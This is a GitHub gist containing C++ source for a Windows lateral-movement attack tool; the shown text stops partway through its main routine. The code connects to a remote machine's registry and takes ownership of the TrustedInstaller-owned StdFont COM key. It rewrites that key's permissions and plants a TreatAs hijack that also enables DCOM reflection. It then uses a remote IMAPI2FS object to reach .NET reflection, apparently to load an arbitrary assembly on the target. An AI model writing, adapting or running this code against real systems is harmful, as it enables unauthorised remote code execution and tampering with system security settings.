Last active
July 24, 2025 20:11
-
-
Save kyleavery/8b604e6d5bfc30704dfee251b3bd7815 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // imapi2fs-com-stdfont-reflection.cpp | |
| #define _CRT_SECURE_NO_WARNINGS | |
| #include <windows.h> | |
| #include <olectl.h> | |
| #include <iostream> | |
| #include <stdio.h> | |
| #include <vector> | |
| #include <aclapi.h> | |
| #include <metahost.h> | |
| #pragma comment(lib, "oleaut32.lib") | |
| #pragma comment(lib, "ole32.lib") | |
| #pragma comment(lib, "advapi32.lib") | |
| #pragma comment(lib, "mscoree.lib") | |
| #pragma warning(disable : 4996) | |
| #import "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorlib.tlb" raw_interfaces_only rename("ReportEvent", "_ReportEvent") rename("or", "_or") | |
| using namespace mscorlib; | |
| // CLSID/TypeLib information for IMAPI2FS.MsftFileSystemImage | |
| static const CLSID CLSID_MsftFileSystemImage = { 0x2c941fc5, 0x975b, 0x59be, { 0xa9, 0x60, 0x9a, 0x2a, 0x26, 0x28, 0x53, 0xa5 } }; | |
| // We'll pick IFileSystemImage's IID | |
| static const IID IID_IFileSystemImage = { 0x2c941fe1, 0x975b, 0x59be, { 0xa9, 0x60, 0x9a, 0x2a, 0x26, 0x28, 0x53, 0xa5 } }; | |
| // stdole StdFont and System.Object GUIDs for registry hijack | |
| static const CLSID CLSID_StdFont = { 0x0be35203, 0x8f91, 0x11ce, { 0x9d, 0xe3, 0x00, 0xaa, 0x00, 0x4b, 0xb8, 0x51 } }; | |
| // The System.Object interface for TreatAs -- see original pattern | |
| static const IID IID_IObject = { 0x65074F7F, 0x63C0, 0x304E, { 0xAF, 0x0A, 0xD5, 0x17, 0x41, 0xCB, 0x4A, 0x8D } }; | |
| // --- Registry and sid utilities (unchanged, but ensure this compiles as a single file) --- | |
| // [REPEAT ALL THE SAME SUPPORT AND UTILITIES: see below] | |
| // Structures to save/restore reg state | |
| typedef struct _ORIGINAL_REG_VALUES { | |
| PVOID AllowDCOMReflection; | |
| PVOID OnlyUseLatestCLR; | |
| PVOID StandardFontTreatAs; | |
| BOOLEAN NetFrameworkKey_Exists; | |
| } ORIGINAL_REG_VALUES, * PORIGINAL_VALUES; | |
| typedef struct _ACL_INFO { | |
| PSID_IDENTIFIER_AUTHORITY NtAuthority; | |
| PSID AdminSid; | |
| PSID TrustedInstallerSid; | |
| }ACL_INFO, * PACL_INFO; | |
| ORIGINAL_REG_VALUES og = { 0 }; | |
| BOOLEAN EnableRemoteRegistry = FALSE; | |
| uint8_t* readFileToBytes(LPSTR filename, size_t* outSize) { | |
| HANDLE fileHandle = CreateFileA( | |
| filename, | |
| GENERIC_READ, | |
| FILE_SHARE_READ, | |
| nullptr, | |
| OPEN_EXISTING, | |
| FILE_ATTRIBUTE_NORMAL, | |
| nullptr | |
| ); | |
| if (fileHandle == INVALID_HANDLE_VALUE) { | |
| *outSize = 0; | |
| return nullptr; | |
| } | |
| LARGE_INTEGER fileSize; | |
| if (!GetFileSizeEx(fileHandle, &fileSize)) { | |
| CloseHandle(fileHandle); | |
| *outSize = 0; | |
| return nullptr; | |
| } | |
| if (fileSize.QuadPart > SIZE_MAX) { | |
| CloseHandle(fileHandle); | |
| *outSize = 0; | |
| return nullptr; | |
| } | |
| size_t bufferSize = static_cast<size_t>(fileSize.QuadPart); | |
| uint8_t* buffer = (uint8_t*)malloc(bufferSize); | |
| if (!buffer) { | |
| CloseHandle(fileHandle); | |
| *outSize = 0; | |
| return nullptr; | |
| } | |
| DWORD bytesRead; | |
| size_t totalBytesRead = 0; | |
| size_t remainingBytes = bufferSize; | |
| while (remainingBytes > 0) { | |
| if (!ReadFile( | |
| fileHandle, | |
| buffer + totalBytesRead, | |
| static_cast<DWORD>(min(remainingBytes, MAXDWORD)), | |
| &bytesRead, | |
| nullptr | |
| )) { | |
| free(buffer); | |
| CloseHandle(fileHandle); | |
| *outSize = 0; | |
| return nullptr; | |
| } | |
| if (bytesRead == 0) { | |
| break; | |
| } | |
| totalBytesRead += bytesRead; | |
| remainingBytes -= bytesRead; | |
| } | |
| CloseHandle(fileHandle); | |
| *outSize = totalBytesRead; | |
| return buffer; | |
| } | |
| SIZE_T CharStringToWCharString(PWCHAR Destination, PCHAR Source, SIZE_T MaximumAllowed) { | |
| INT Length = (INT)MaximumAllowed; | |
| while (--Length >= 0) { | |
| if (!(*Destination++ = *Source++)) { | |
| return MaximumAllowed - Length - 1; | |
| } | |
| } | |
| return MaximumAllowed - Length; | |
| } | |
| VOID StartRemoteRegistry(LPSTR computerName) { | |
| HANDLE hPipe; | |
| CHAR remoteRegistryPipe[255] = { 0 }; | |
| sprintf(remoteRegistryPipe, "\\\\%s\\pipe\\winreg", computerName); | |
| printf("[+] Opening a handle to %s\n", remoteRegistryPipe); | |
| hPipe = CreateFileA(remoteRegistryPipe, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); | |
| if (hPipe == INVALID_HANDLE_VALUE && GetLastError() != ERROR_PIPE_BUSY) { | |
| printf("[-] Error opening handle: 0x%llx\n", GetLastError()); | |
| } | |
| else { | |
| printf("[+] Triggered pipe. RemoteRegistry should now be started\n"); | |
| } | |
| CloseHandle(hPipe); | |
| memset(remoteRegistryPipe, 0, sizeof(remoteRegistryPipe)); | |
| } | |
| BOOLEAN CreateKey(HKEY hRemoteRegistry, LPSTR KeyName) { | |
| BOOLEAN ret = FALSE; | |
| LSTATUS result = NULL; | |
| HKEY temp = NULL; | |
| if (!hRemoteRegistry || !KeyName) { | |
| return ret; | |
| } | |
| result = RegCreateKeyExA(hRemoteRegistry, KeyName, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &temp, NULL); | |
| if (result != ERROR_SUCCESS) { | |
| printf("[-] Failed to create key %s - RegCreateKeyExA: 0x%x\n", KeyName, result); | |
| goto cleanup; | |
| } | |
| printf("[+] Created %s successfully\n", KeyName); | |
| ret = TRUE; | |
| cleanup: | |
| if (temp) RegCloseKey(temp); | |
| return ret; | |
| } | |
| BOOLEAN CheckKey(HKEY hRemoteRegistry, LPSTR KeyName, PBOOLEAN Exists) { | |
| BOOLEAN ret = FALSE; | |
| LSTATUS result = NULL; | |
| HKEY temp = NULL; | |
| if (!hRemoteRegistry || !KeyName || !Exists) { | |
| return ret; | |
| } | |
| printf("[+] Checking if %s exists\n", KeyName); | |
| result = RegOpenKeyExA(hRemoteRegistry, KeyName, 0, KEY_READ, &temp); | |
| if (result != ERROR_SUCCESS) { | |
| if (result == ERROR_FILE_NOT_FOUND) { | |
| *Exists = FALSE; | |
| printf("[+] %s doesn't exist, going to try to create it\n", KeyName); | |
| } | |
| else { | |
| printf("[-] Failed to check if %s exists - RegOpenKeyExA: 0x%x\n", KeyName, result); | |
| goto cleanup; | |
| } | |
| } | |
| else { | |
| *Exists = TRUE; | |
| } | |
| ret = TRUE; | |
| cleanup: | |
| if (temp) RegCloseKey(temp); | |
| return ret; | |
| } | |
| BOOLEAN CheckAndCreateKey(HKEY hRemoteRegistry, LPSTR KeyName, PBOOLEAN Exists) { | |
| if (!hRemoteRegistry || !KeyName || !Exists) { | |
| return FALSE; | |
| } | |
| if (!CheckKey(hRemoteRegistry, KeyName, Exists)) { | |
| return FALSE; | |
| } | |
| if (!CreateKey(hRemoteRegistry, KeyName)) { | |
| return FALSE; | |
| } | |
| return TRUE; | |
| } | |
| BOOLEAN DeleteKey(_In_ HKEY hRemoteRegistry, _In_ LPSTR KeyName) { | |
| HRESULT result = RegDeleteKeyA(hRemoteRegistry, KeyName); | |
| if (result != ERROR_SUCCESS) { | |
| printf("[-] Error deleting %s - RegDeleteKeyA: 0x%x\n", KeyName, result); | |
| return FALSE; | |
| } | |
| return TRUE; | |
| } | |
| BOOLEAN ReadValue(HKEY hRemoteRegistry, LPSTR KeyName, LPSTR ValueName, PBOOLEAN Exists, PVOID* Value) { | |
| BOOLEAN ret = FALSE; | |
| LSTATUS result = NULL; | |
| DWORD sz = 0; | |
| DWORD type = 0; | |
| HKEY hKey = NULL; | |
| if (!hRemoteRegistry || !KeyName || !ValueName || !Exists) { | |
| return ret; | |
| } | |
| printf("[+] Checking if %s exists\n", KeyName); | |
| result = RegOpenKeyExA(hRemoteRegistry, KeyName, 0, KEY_READ, &hKey); | |
| if (result != ERROR_SUCCESS) { | |
| if (result == ERROR_FILE_NOT_FOUND) { | |
| printf("[+] %s doesn't exist.\n", KeyName); | |
| *Exists = FALSE; | |
| } | |
| else { | |
| printf("[-] Failed to check if %s exists - RegOpenKeyExA: 0x%x\n", KeyName, result); | |
| goto cleanup; | |
| } | |
| } | |
| else { | |
| printf("[+] %s exists, reading value.\n", KeyName); | |
| result = RegQueryValueExA(hKey, ValueName, NULL, &type, NULL, &sz); | |
| if (result == ERROR_FILE_NOT_FOUND) { | |
| *Exists = FALSE; | |
| printf("[+] Value: %s doesn't exist\n", ValueName); | |
| ret = TRUE; | |
| goto cleanup; | |
| } | |
| else if (result == ERROR_SUCCESS) { | |
| *Exists = TRUE; | |
| if (Value) { | |
| *Value = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sz); | |
| result = RegQueryValueExA(hKey, ValueName, NULL, &type, (LPBYTE)*Value, &sz); | |
| if (result != ERROR_SUCCESS) { | |
| printf("[-] Error when reading the %s value on %s - RegQueryValueEx: 0x%x\n", ValueName, KeyName, result); | |
| goto cleanup; | |
| } | |
| } | |
| } | |
| else { | |
| printf("[-] Error - RegQueryValueExA: 0x%x\n", result); | |
| goto cleanup; | |
| } | |
| } | |
| ret = TRUE; | |
| cleanup: | |
| if (hKey) RegCloseKey(hKey); | |
| return ret; | |
| } | |
| BOOLEAN WriteValue(HKEY hRemoteRegistry, LPSTR KeyName, LPSTR ValueName, DWORD Type, PVOID Value, DWORD size) { | |
| BOOLEAN ret = FALSE; | |
| LSTATUS result = NULL; | |
| HKEY hKey = NULL; | |
| if (!hRemoteRegistry || !KeyName || !ValueName) { | |
| return ret; | |
| } | |
| printf("[+] Getting handle to %s\n", KeyName); | |
| result = RegOpenKeyExA(hRemoteRegistry, KeyName, 0, KEY_WRITE, &hKey); | |
| if (result != ERROR_SUCCESS) { | |
| printf("[-] Failed to check if %s exists - RegOpenKeyExA: 0x%x\n", KeyName, result); | |
| goto cleanup; | |
| } | |
| if (Value) { | |
| printf("[+] Writing value into %s\n", KeyName); | |
| if (!size) { | |
| Value = NULL; | |
| } | |
| result = RegSetValueExA(hKey, ValueName, 0, Type, (PBYTE)Value, size); | |
| if (result != ERROR_SUCCESS) { | |
| printf("[-] Failed to set %s value on %s - RegSetValueExA: 0x%x\n", ValueName, KeyName, result); | |
| goto cleanup; | |
| } | |
| } | |
| else { | |
| printf("[+] Deleting %s from %s\n", ValueName, KeyName); | |
| result = RegDeleteValueA(hKey, ValueName); | |
| if (result != ERROR_SUCCESS) { | |
| printf("[-] Failed to delete %s value on %s - RegDeleteValueA: 0x%x\n", ValueName, KeyName, result); | |
| goto cleanup; | |
| } | |
| } | |
| ret = TRUE; | |
| cleanup: | |
| if (hKey) { | |
| RegCloseKey(hKey); | |
| } | |
| return ret; | |
| } | |
| BOOLEAN ChangeClsidKeyOwner(HKEY hRemoteRegistry, LPSTR clsidKey, PSID adminSid) { | |
| HKEY hKey = NULL; | |
| HKEY hRootKey = HKEY_LOCAL_MACHINE; | |
| LONG result = FALSE; | |
| BOOLEAN ret = FALSE; | |
| SECURITY_DESCRIPTOR sd; | |
| result = RegOpenKeyExA(hRemoteRegistry, clsidKey, 0, WRITE_OWNER, &hKey); | |
| if (result != ERROR_SUCCESS) { | |
| printf("[-] Failed to open %s with WRITE_OWNER access - RegOpenKeyExA: 0x%x\n", clsidKey, GetLastError()); | |
| goto cleanup; | |
| } | |
| if (!(InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION))) { | |
| printf("[-] Failed to create a new security descriptor - InitializeSecurityDescriptor: 0x%x\n", GetLastError()); | |
| goto cleanup; | |
| } | |
| if (!SetSecurityDescriptorOwner(&sd, adminSid, FALSE)) { | |
| printf("[-] Failed to set ownership in the security descriptor - SetSecurityDescriptorOwner: 0x%x\n", GetLastError()); | |
| goto cleanup; | |
| } | |
| result = RegSetKeySecurity(hKey, OWNER_SECURITY_INFORMATION, &sd); | |
| if (result != ERROR_SUCCESS) { | |
| printf("[-] Failed to set ownership of %s - RegSetKeySecurity: 0x%x\n", clsidKey, GetLastError()); | |
| goto cleanup; | |
| } | |
| printf("[+] Successfully changed the owner of the registry key\n"); | |
| ret = TRUE; | |
| cleanup: | |
| if (hKey) { | |
| RegCloseKey(hKey); | |
| } | |
| return ret; | |
| } | |
| BOOLEAN ChangeClsidKeyDacl(HKEY hRemoteRegistry, LPSTR clsidKey, PSID adminSid, DWORD accessMask) { | |
| PSECURITY_DESCRIPTOR pSD = NULL; | |
| EXPLICIT_ACCESS ea = { 0 }; | |
| SECURITY_DESCRIPTOR newSD = { 0 }; | |
| DWORD cbSecurityDescriptor = 0; | |
| BOOLEAN ret = FALSE; | |
| BOOL bDaclPresent = FALSE; | |
| BOOL bDaclDefaulted = FALSE; | |
| HKEY hRegKey = NULL; | |
| PACL pOldAcl = NULL; | |
| PACL pNewAcl = NULL; | |
| LONG result = NULL; | |
| result = RegOpenKeyExA(hRemoteRegistry, clsidKey, 0, KEY_READ | WRITE_DAC, &hRegKey); | |
| if (result != ERROR_SUCCESS) { | |
| printf("[-] Failed to open %s with Read and Write DACL access - RegOpenKeyExA: 0x%x\n", clsidKey, GetLastError()); | |
| goto cleanup; | |
| } | |
| result = RegGetKeySecurity(hRegKey, DACL_SECURITY_INFORMATION, NULL, &cbSecurityDescriptor); | |
| if (result != ERROR_SUCCESS && result != ERROR_INSUFFICIENT_BUFFER) { | |
| printf("[-] Failed to query %s's security descriptor size - RegGetKeySecurity: 0x%x\n", clsidKey, result); | |
| goto cleanup; | |
| } | |
| pSD = (PSECURITY_DESCRIPTOR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, cbSecurityDescriptor); | |
| result = RegGetKeySecurity(hRegKey, DACL_SECURITY_INFORMATION, pSD, &cbSecurityDescriptor); | |
| if (result != ERROR_SUCCESS) { | |
| printf("[-] Failed to read %s's security descriptor - RegGetKeySecurity: 0x%x\n", clsidKey, result); | |
| goto cleanup; | |
| } | |
| if (!GetSecurityDescriptorDacl(pSD, &bDaclPresent, &pOldAcl, &bDaclDefaulted)) { | |
| printf("[-] Failed to get DACL from security descriptor - GetSecurityDescriptorDacl: 0x%x\n", GetLastError()); | |
| goto cleanup; | |
| } | |
| ea.grfAccessPermissions = accessMask; | |
| ea.grfAccessMode = SET_ACCESS; | |
| ea.grfInheritance = NO_INHERITANCE; | |
| ea.Trustee.TrusteeForm = TRUSTEE_IS_SID; | |
| ea.Trustee.TrusteeType = TRUSTEE_IS_GROUP; | |
| ea.Trustee.ptstrName = (LPWCH)adminSid; | |
| result = SetEntriesInAclW(1, &ea, pOldAcl, &pNewAcl); | |
| if (result != ERROR_SUCCESS) { | |
| printf("[-] Failed to create ACL to enable key modification - SetEntriesInAclW: 0x%x\n", GetLastError()); | |
| goto cleanup; | |
| } | |
| if (!InitializeSecurityDescriptor(&newSD, SECURITY_DESCRIPTOR_REVISION)) { | |
| printf("[-] Failed to initialize security descriptor to enable key modification - InitializeSecurityDescriptor: 0x%x\n", GetLastError()); | |
| goto cleanup; | |
| } | |
| if (!SetSecurityDescriptorDacl(&newSD, TRUE, pNewAcl, FALSE)) { | |
| printf("[-] Failed to create DACL to enable key modification - SetSecurityDescriptorDacl: 0x%x\n", GetLastError()); | |
| goto cleanup; | |
| } | |
| result = RegSetKeySecurity(hRegKey, DACL_SECURITY_INFORMATION, &newSD); | |
| if (result != ERROR_SUCCESS) { | |
| printf("[-] Failed to set DACL to enable key modification - RegSetKeySecurity: 0x%x\n", GetLastError()); | |
| goto cleanup; | |
| } | |
| ret = TRUE; | |
| printf("[+] Changed CLSID Key DACL\n"); | |
| cleanup: | |
| if (hRegKey) { | |
| RegCloseKey(hRegKey); | |
| } | |
| if (pNewAcl) { | |
| LocalFree(pNewAcl); | |
| } | |
| if (pSD) { | |
| HeapFree(GetProcessHeap(), NULL, pSD); | |
| } | |
| return ret; | |
| } | |
| BOOLEAN DoRegistry_RPC(LPSTR target, BOOLEAN Clean, PACL_INFO sids) { | |
| HKEY hRemoteReg = NULL; | |
| LSTATUS result = NULL; | |
| BOOLEAN ret = TRUE; | |
| LPSTR value = NULL; | |
| BOOLEAN exists = FALSE; | |
| CHAR regst_buffer[255] = { 0 }; | |
| CHAR* NetFrameworkKey = (PCHAR)("SOFTWARE\\Microsoft\\.NETFramework"); | |
| CHAR* StandardFont_CLSID = (PCHAR)("SOFTWARE\\Classes\\CLSID\\{0BE35203-8F91-11CE-9DE3-00AA004BB851}"); | |
| CHAR* StandardFont_Treat = (PCHAR)("SOFTWARE\\Classes\\CLSID\\{0BE35203-8F91-11CE-9DE3-00AA004BB851}\\TreatAs"); | |
| CHAR* System_Object_GUID = (PCHAR)("{81C5FE01-027C-3E1C-98D5-DA9C9862AA21}"); | |
| DWORD sz = strlen(target); | |
| if (sz > sizeof(regst_buffer) - 1) { | |
| printf("[-] Target is too large\n"); | |
| goto cleanup; | |
| } | |
| sprintf(regst_buffer, "\\\\%s", target); | |
| if (EnableRemoteRegistry) { | |
| StartRemoteRegistry(target); | |
| } | |
| result = RegConnectRegistryA(regst_buffer, HKEY_LOCAL_MACHINE, &hRemoteReg); | |
| if (result != ERROR_SUCCESS) { | |
| printf("[-] Failed to connect to %s's registry - RegConnectRegistry: 0x%x\n", target, result); | |
| goto cleanup; | |
| } | |
| printf("[+] Connected to: %s\n", regst_buffer); | |
| if (!Clean) { | |
| if (!CheckKey(hRemoteReg, NetFrameworkKey, &exists)) { | |
| goto cleanup; | |
| } | |
| if (!exists) { | |
| if (!CreateKey(hRemoteReg, NetFrameworkKey)) { | |
| goto cleanup; | |
| } | |
| og.NetFrameworkKey_Exists = FALSE; | |
| } | |
| else { | |
| og.NetFrameworkKey_Exists = TRUE; | |
| } | |
| DWORD one = 1; | |
| if (!ReadValue(hRemoteReg, NetFrameworkKey, (LPSTR)"AllowDCOMReflection", &exists, &og.AllowDCOMReflection)) { | |
| goto cleanup; | |
| } | |
| if (!WriteValue(hRemoteReg, NetFrameworkKey, (LPSTR)"AllowDCOMReflection", REG_DWORD, &one, sizeof(one))) { | |
| goto cleanup; | |
| } | |
| if (!ReadValue(hRemoteReg, NetFrameworkKey, (LPSTR)"OnlyUseLatestCLR", &exists, &og.OnlyUseLatestCLR)) { | |
| goto cleanup; | |
| } | |
| if (!WriteValue(hRemoteReg, NetFrameworkKey, (LPSTR)"OnlyUseLatestCLR", REG_DWORD, &one, sizeof(one))) { | |
| goto cleanup; | |
| } | |
| exists = FALSE; | |
| if (!CheckKey(hRemoteReg, StandardFont_Treat, &exists)) { | |
| goto cleanup; | |
| } | |
| if (exists) { | |
| printf("[+] TreatAs subkey exists on StandardFont for some reason. Going to try to read it...\n"); | |
| if (!ReadValue(hRemoteReg, StandardFont_Treat, (LPSTR)"", &exists, &og.StandardFontTreatAs)) { | |
| goto cleanup; | |
| } | |
| } | |
| printf("[+] Trying to obtain ownership of %s...\n", StandardFont_CLSID); | |
| if (!ChangeClsidKeyOwner(hRemoteReg, StandardFont_CLSID, sids->AdminSid)) { | |
| goto cleanup; | |
| } | |
| printf("[+] Trying to set KEY_ALL_ACCESS on %s...\n", StandardFont_CLSID); | |
| if (!ChangeClsidKeyDacl(hRemoteReg, StandardFont_CLSID, sids->AdminSid, KEY_ALL_ACCESS)) { | |
| goto cleanup; | |
| } | |
| if (!exists) { | |
| if (!CreateKey(hRemoteReg, StandardFont_Treat)) { | |
| goto cleanup; | |
| } | |
| } | |
| printf("[+] Trying to set KEY_ALL_ACCESS on %s...\n", StandardFont_Treat); | |
| if (!ChangeClsidKeyDacl(hRemoteReg, StandardFont_Treat, sids->AdminSid, KEY_ALL_ACCESS)) { | |
| goto cleanup; | |
| } | |
| if (!WriteValue(hRemoteReg, StandardFont_Treat, (LPSTR)"", REG_SZ, System_Object_GUID, strlen(System_Object_GUID) + 1)) { | |
| goto cleanup; | |
| } | |
| } | |
| else { | |
| if (og.AllowDCOMReflection) { | |
| WriteValue(hRemoteReg, NetFrameworkKey, (PCHAR)"AllowDCOMReflection", REG_DWORD, og.AllowDCOMReflection, sizeof(DWORD)); | |
| } | |
| else { | |
| WriteValue(hRemoteReg, NetFrameworkKey, (PCHAR)"AllowDCOMReflection", NULL, NULL, 0); | |
| } | |
| if (og.OnlyUseLatestCLR) { | |
| WriteValue(hRemoteReg, NetFrameworkKey, (PCHAR)"OnlyUseLatestCLR", REG_DWORD, og.OnlyUseLatestCLR, sizeof(DWORD)); | |
| } | |
| else { | |
| WriteValue(hRemoteReg, NetFrameworkKey, (PCHAR)"OnlyUseLatestCLR", NULL, NULL, 0); | |
| } | |
| if (og.StandardFontTreatAs) { | |
| WriteValue(hRemoteReg, StandardFont_Treat, (PCHAR)"", REG_SZ, og.StandardFontTreatAs, 0); | |
| } | |
| else { | |
| DeleteKey(hRemoteReg, StandardFont_Treat); | |
| } | |
| if (!og.NetFrameworkKey_Exists) { | |
| if (!DeleteKey(hRemoteReg, NetFrameworkKey)) { | |
| goto cleanup; | |
| } | |
| } | |
| printf("[+] Trying to set KEY_READ on %s...\n", StandardFont_CLSID); | |
| if (!ChangeClsidKeyDacl(hRemoteReg, StandardFont_CLSID, sids->AdminSid, KEY_READ)) { | |
| goto cleanup; | |
| } | |
| printf("[+] Trying to reset ownership of %s...\n", StandardFont_CLSID); | |
| if (!ChangeClsidKeyOwner(hRemoteReg, StandardFont_CLSID, sids->TrustedInstallerSid)) { | |
| goto cleanup; | |
| } | |
| } | |
| ret = FALSE; | |
| cleanup: | |
| if (value) { | |
| HeapFree(GetProcessHeap(), NULL, value); | |
| } | |
| if (hRemoteReg) { | |
| RegCloseKey(hRemoteReg); | |
| } | |
| return ret; | |
| } | |
| // --- Reflection helpers (unchanged from original example) --- | |
| long GetSafeArrayLen(LPSAFEARRAY psa) { | |
| long ubound = 0; | |
| SafeArrayGetUBound(psa, 1, &ubound); | |
| return ubound + 1; | |
| } | |
| mscorlib::_MethodInfoPtr GetStaticMethod(mscorlib::_TypePtr type, LPCWSTR findName, int pcount) { | |
| DWORD counter = 0; | |
| SAFEARRAY* methods = nullptr; | |
| HRESULT hr = type->GetMethods_2(&methods); | |
| if (FAILED(hr) || !methods) return nullptr; | |
| mscorlib::_MethodInfoPtr ret; | |
| LONG methodCount = GetSafeArrayLen(methods); | |
| for (LONG i = 0; i < methodCount; ++i) | |
| { | |
| IUnknown* v = nullptr; | |
| if (SUCCEEDED(SafeArrayGetElement(methods, &i, &v))) | |
| { | |
| mscorlib::_MethodInfoPtr method = v; | |
| BSTR methodName = nullptr; | |
| method->get_name(&methodName); | |
| SAFEARRAY* params = nullptr; | |
| method->GetParameters(¶ms); | |
| long paramCount = params ? GetSafeArrayLen(params) : 0; | |
| VARIANT_BOOL isStatic = VARIANT_FALSE; | |
| method->get_IsStatic(&isStatic); | |
| if (isStatic == VARIANT_TRUE && wcscmp(methodName, findName) == 0 && paramCount == pcount) { | |
| if (wcscmp(methodName, L"Load") == 0 && counter < 2) { | |
| counter++; | |
| continue; | |
| } | |
| ret = method; | |
| if (params) { | |
| SafeArrayDestroy(params); | |
| } | |
| SysFreeString(methodName); | |
| break; | |
| } | |
| if (params) { | |
| SafeArrayDestroy(params); | |
| } | |
| SysFreeString(methodName); | |
| } | |
| } | |
| SafeArrayDestroy(methods); | |
| return ret; | |
| } | |
| template<typename T> T ExecuteMethod(mscorlib::_MethodInfoPtr method, std::vector<variant_t>& args, HRESULT* o_hr = NULL) { | |
| variant_t obj; | |
| T retObj; | |
| SAFEARRAY* psa; | |
| SAFEARRAYBOUND rgsabound[1]; | |
| rgsabound[0].lLbound = 0; | |
| rgsabound[0].cElements = (ULONG)args.size(); | |
| psa = SafeArrayCreate(VT_VARIANT, 1, rgsabound); | |
| for (LONG i = 0; i < (LONG)args.size(); ++i) { | |
| SafeArrayPutElement(psa, &i, &args[i]); | |
| } | |
| VARIANT vtRet; | |
| VariantInit(&vtRet); | |
| HRESULT hr = method->Invoke_3(obj, psa, &vtRet); | |
| printf("Invoke_3: 0x%x\n", hr); | |
| if ((vtRet.vt == VT_UNKNOWN) || (vtRet.vt == VT_DISPATCH)) { | |
| retObj = vtRet.punkVal; | |
| } | |
| VariantClear(&vtRet); | |
| SafeArrayDestroy(psa); | |
| if (o_hr) { | |
| *o_hr = hr; | |
| } | |
| return retObj; | |
| } | |
| // --- Main Execute() routine using IMAPI2FS logic --- | |
| BOOLEAN Execute(LPSTR target, LPSTR assemblyPath) { | |
| _com_ptr_t<_com_IIID<ITypeLib, &__uuidof(ITypeLib)>> pTypeLib; | |
| _com_ptr_t<_com_IIID<ITypeLib, &__uuidof(ITypeLib)>> pTypeLib2; | |
| _com_ptr_t<_com_IIID<ITypeInfo, &__uuidof(ITypeInfo)>> pTypeInfo; | |
| _com_ptr_t<_com_IIID<ITypeInfo, &__uuidof(ITypeInfo)>> pTypeInfo2; | |
| _com_ptr_t<_com_IIID<ITypeInfo, &__uuidof(ITypeInfo)>> pTypeInfo3; | |
| mscorlib::_ObjectPtr obj; | |
| mscorlib::_TypePtr type; | |
| mscorlib::_TypePtr type2; | |
| mscorlib::_TypePtr type3; | |
| mscorlib::_TypePtr baseType; | |
| mscorlib::_MethodInfoPtr getTypeMethod; | |
| mscorlib::_MethodInfoPtr loadMethod; | |
| HREFTYPE hRef = NULL; | |
| try { | |
| std::wcout << L"[*] Initializing COM environment..." << std::endl; | |
| HRESULT hr = CoInitializeEx(nullptr, COINIT_MULTITHREADED); | |
| if (FAILED(hr)) { | |
| throw hr; | |
| } | |
| // Step 1: Instantiate the target IMAPI2FS COM object remotely | |
| CLSID clsid = CLSID_MsftFileSystemImage; | |
| IID iid = IID_IFileSystemImage; | |
| IDispatch* pDispatch = nullptr; | |
| WCHAR wTarget[255] = { 0 }; | |
| CharStringToWCharString(wTarget, target, strlen(target)); | |
| COSERVERINFO serverInfo = { 0 }; | |
| serverInfo.pwszName = wTarget; | |
| MULTI_QI multiQI; | |
| multiQI.pIID = &IID_IDispatch; | |
| multiQI.pItf = nullptr; | |
| multiQI.hr = S_OK; | |
| std::wcout << L"[*] Connecting to remote IMAPI2FS on " << wTarget << std::endl; | |
| hr = CoCreateInstanceEx(clsid, nullptr, CLSCTX_REMOTE_SERVER, &serverInfo, 1, &multiQI); | |
| if (FAILED(hr)) { | |
| std::cout << "[-] CoCreateInstanceEx failed for IMAPI2FS.MsftFileSystemImage: 0x" << std::hex << hr << std::endl; | |
| CoUninitialize(); | |
| return 1; | |
| } | |
| pDispatch = (IDispatch*)multiQI.pItf; | |
| // Step 2: Get ITypeInfo of the default interface | |
| hr = pDispatch->GetTypeInfo(0, NULL, &pTypeInfo); | |
| if (FAILED(hr)) { | |
| printf("[-] GetTypeInfo failed: 0x%x\n", hr); | |
| CoUninitialize(); | |
| return 1; | |
| } | |
| // Step 3: Get the containing type library (should include stdole as ref) | |
| hr = pTypeInfo->GetContainingTypeLib(&pTypeLib, 0); | |
| if (FAILED(hr)) { | |
| printf("[-] GetContainingTypeLib failed: 0x%x\n", hr); | |
| CoUninitialize(); | |
| return 1; | |
| } | |
| // Step 4: Get the TypeInfo for IID_IFileSystemImage | |
| hr = pTypeLib->GetTypeInfoOfGuid(iid, &pTypeInfo); | |
| if (FAILED(hr)) { | |
| printf("[-] GetTypeInfoOfGuid failed: 0x%x\n", hr); | |
| CoUninitialize(); | |
| return 1; | |
| } | |
| // Step 5: Walk up to the stdole referenced library and fetch StdFont TypeInfo | |
| hr = pTypeInfo->GetRefTypeOfImplType(0, &hRef); | |
| if (FAILED(hr)) { | |
| printf("[-] GetRefTypeOfImplType failed: 0x%x\n", hr); | |
| CoUninitialize(); | |
| return 1; | |
| } | |
| hr = pTypeInfo->GetRefTypeInfo(hRef, &pTypeInfo2); | |
| if (FAILED(hr)) { | |
| printf("[-] GetRefTypeInfo failed: 0x%x\n", hr); | |
| CoUninitialize(); | |
| return 1; | |
| } | |
| hr = pTypeInfo2->GetContainingTypeLib(&pTypeLib2, 0); | |
| if (FAILED(hr)) { | |
| printf("[-] GetContainingTypeLib (base) failed: 0x%x\n", hr); | |
| CoUninitialize(); | |
| return 1; | |
| } | |
| hr = pTypeLib2->GetTypeInfoOfGuid(CLSID_StdFont, &pTypeInfo3); | |
| if (FAILED(hr)) { | |
| printf("[-] GetTypeInfoOfGuid(StdFont) failed: 0x%x\n", hr); | |
| CoUninitialize(); | |
| return 1; | |
| } | |
| // Step 6: Use TypeInfo to CreateInstance for our trapped object (System.Object) | |
| hr = pTypeInfo3->CreateInstance(nullptr, IID_IObject, (void**)&obj); | |
| if (FAILED(hr)) { | |
| printf("[-] CreateInstance for System.Object (trapped) failed: 0x%x\n", hr); | |
| CoUninitialize(); | |
| return 1; | |
| } | |
| std::wcout << L"[+] Successfully got StdFont TypeInfo and trapped System.Object\n"; | |
| // Step 7: Get runtime type, walk up to System.Type and .NET reflection | |
| hr = obj->GetType(&type); | |
| if (FAILED(hr)) { | |
| printf("[-] obj->GetType failed: 0x%x\n", hr); | |
| CoUninitialize(); | |
| return 1; | |
| } | |
| BSTR b = SysAllocStringByteLen(NULL, 255); | |
| hr = type->get_ToString(&b); | |
| hr = type->GetType(&type2); | |
